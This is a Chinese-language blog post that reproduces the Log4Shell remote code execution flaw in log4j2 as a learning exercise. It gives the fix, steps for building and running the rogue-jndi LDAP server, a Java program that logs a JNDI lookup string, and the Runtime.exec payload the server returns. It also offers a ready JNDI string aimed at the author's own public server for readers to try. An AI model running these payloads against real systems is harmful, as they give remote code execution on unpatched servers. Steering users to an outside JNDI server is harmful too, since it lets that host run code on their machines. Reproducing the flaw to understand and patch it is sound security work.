log4j2史诗级漏洞攻击重现

早上来到公司,就听到安全团队的同事说log4j2有个高危漏洞
起初并不是很在意,想着一个日志框架能有啥高危漏洞嘛
但是仔细一看,居然是远程执行命令的漏洞,上次看到这个名字还是struts2。。。

修复方法也很简单:升级log4j依赖版本到2.15.0
或者启动参数添加-Dlog4j2.formatMsgNoLookups=true并重启

好奇心驱使之下,向安全的同事请教了怎么重现这个漏洞,顺便记录一下,以便以后学习之用
参考文章:
https://mp.weixin.qq.com/s/l7iclJRegADs3oiEdcgAvQ
https://mp.weixin.qq.com/s/_qA3ZjbQrZl2vowikdPOIg

如果你只是想验证自己的log有没问题,那可以不用往下看了,直接本地运行:
log.info("${jndi:ldap://1.117.178.115:1389/o=tomcat}");
(个人的腾讯云服务器,不保证永久有效)
在这里插入图片描述
如果会像这样弹出计算器程序,那就说明有问题了

1、本地启动ldap服务

https://github.com/veracode-research/rogue-jndi
下载这个链接的源码进行编译
mvn package -DskipTests

启动命令:

#这里172.19.60.23是我本地的ip
 java -jar target/RogueJndi-1.1.jar -c "calc" -n 172.19.60.23

2、编写log4j程序并运行

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTest {
    private static final Logger LOGGER = LogManager.getLogger();

    public static void main(String... args) {
        LOGGER.info("${jndi:ldap://172.19.60.23:1389/o=tomcat}");
    }
}

依赖引入:

<dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter</artifactId>
            <exclusions>
                <exclusion>
                    <groupId>org.springframework.boot</groupId>
                    <artifactId>spring-boot-starter-logging</artifactId>
                </exclusion>
            </exclusions>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-log4j2</artifactId>
        </dependency>

注意依赖的引入很关键,我本地是用的spring boot,但是因为spring boot默认是用的logback,所以没法重现。
需要排除掉spring-boot-starter-logging依赖,然后添加spring-boot-starter-log4j2依赖。
这个漏洞在2.15.0已经修复,所以log4j-core的版本要低于2.15.0。
这么一想,这个漏洞好像也没那么严重的

运行以后本地弹出计算器程序,顺利重现

3、大致原理分析

${jndi:ldap://172.19.60.23:1389/o=tomcat}
这段日志的打印会触发ldap服务请求
这个请求会返回:
{"".getClass().forName(“javax.script.ScriptEngineManager”).newInstance().getEngineByName(“JavaScript”).eval(“java.lang.Runtime.getRuntime().exec(String.fromCharCode(99,97,108,99))”)}

代码在rogue-jndi这个工程的artsploit.controllers.Tomcat中:
在这里插入图片描述

java.lang.Runtime.getRuntime().exec(${command})
这段代码最终会被执行,从而触发远程命令执行

至于这段代码为啥会被执行,需要去啃log4j的源码,大致看了下还挺复杂
关键代码记录如下:

MessagePatternConverter类的format方法:
在这里插入图片描述
StrSubstitutor的resolveVariable方法
在这里插入图片描述
JndiLookup的lookup方法:
在这里插入图片描述
JndiManager的luukup方法:
在这里插入图片描述
ldapURLContext的lookup方法:
在这里插入图片描述
到这里其实就是jdk的代码了,后面的代码很难看,大致逻辑就是去请求172.19.60.23:1389/o=tomcat这个接口,拿到上面那段payload,然后通过ClasLoader去加载javax.el.ELProcessor,并通过反射执行下面这段代码:

{
	"".getClass()
	.forName("javax.script.ScriptEngineManager")
	.newInstance()
	.getEngineByName("JavaScript")
	.eval("java.lang.Runtime.getRuntime()
	.exec(String.fromCharCode(99,97,108,99))")
}

部分代码截图:
在这里插入图片描述
在这里插入图片描述

本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>